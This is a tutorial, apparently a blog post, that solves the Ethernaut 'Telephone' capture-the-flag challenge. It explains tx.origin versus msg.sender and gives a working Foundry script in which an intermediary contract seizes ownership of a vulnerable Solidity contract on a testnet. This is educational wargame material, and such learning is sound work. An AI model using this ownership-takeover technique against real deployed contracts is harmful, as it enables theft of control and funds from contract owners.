Ethernaut 4 Telephone Foundry Solution?—?2023?Tutorial
Johnny Time
Founder @ Ginger Security | Blockchain Security Engineer and Web3 Security Educator. Learn more at: johnnytime.xyz
In this tutorial, we will be solving the “Ethernaut 4— Telephone” challenge with Foundry. I’ll guide you through the entire process.
In case you prefer a video tutorial? I’ve got you covered!
Prerequisites
Before we begin, make sure you’ve completed the following prerequisites:
Understanding the Challenge
In the Telephone smart contract, our goal is to claim ownership in the Telephone contract!
Telephone.sol Smart?Contract
First we will copy the smart contract to our local Foundry environment:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
The difference between msg.sender to tx.origin
To solve the challenge we first need to understand the difference between tx.origin and msg.sender and how we can make sure they are different.
领英推荐
To make tx.origin and msg.sender different, you can create a contract that acts as an intermediary. When this contract calls another contract, msg.sender in the called contract will be the intermediary contract’s address, while tx.origin remains the original sender’s address.
If you’re eager to delve deeper into the world of smart contract security and Ethereum Virtual Machine (EVM) concepts and want to elevate your smart contract security skills, the practical smart contract hacking course is the perfect choice for you.
Telephone Solution
To solve this challenge with Foudnry, we will create inside the script\ folder a new file TelephoneSolution.s.sol, and paste the code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../src/Telephone.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";
contract IntermidiaryContract {
constructor(Telephone _telephone, address _newOwner) {
_telephone.changeOwner(_newOwner);
}
}
contract TelephoneSolution is Script {
Telephone public telephoneInstance = Telephone(0x1d2d01Db7aAe83081BDfff7844C8030f2d51a5AB);
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
new IntermidiaryContract(
telephoneInstance, vm.envAddress("MY_ADDRESS")
);
vm.stopBroadcast();
}
}
Now that the script is ready, we can execute from our terminal the following command:
forge script script/TelephoneSolution.s.sol --broadcast
Now, after our transaction was submitted and main on the Goerli blockchain, we can go to the ethernaut challenge page and click “Submit Instance”:
And congratulation! You completed the 4th Ethernaut challenge ??
Don’t Forget
See you in the next tutorial! ??